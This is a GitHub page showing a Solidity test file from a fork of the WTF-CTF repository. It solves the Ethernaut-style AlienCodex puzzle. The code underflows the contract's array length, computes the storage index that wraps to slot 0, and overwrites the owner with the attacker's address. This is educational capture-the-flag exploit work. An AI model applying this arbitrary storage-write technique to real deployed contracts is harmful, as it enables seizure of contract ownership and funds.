forked from WTFAcademy/WTF-CTF
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathAlienCodex.t.sol
32 lines (22 loc) · 835 Bytes
/
AlienCodex.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "./AlienCodexFactory.sol";
contract AlienCodexTest {
AlienCodexFactory factory;
function setUp() public {
factory = new AlienCodexFactory();
}
function cala() public pure returns (uint256) {
bytes32 index = keccak256(abi.encode(1));
uint256 L = 0;
return (L - 1) - uint256(index) + 1;
}
function testAlienCodex() public {
address _alienCodex = factory.createInstance(address(this));
address payable alienCodex = address(uint160(_alienCodex));
AlienCodex(alienCodex).make_contact();
AlienCodex(alienCodex).retract();
AlienCodex(alienCodex).revise(cala(), bytes32(uint256(uint160(address(this)))));
factory.validateInstance(alienCodex, address(this));
}
}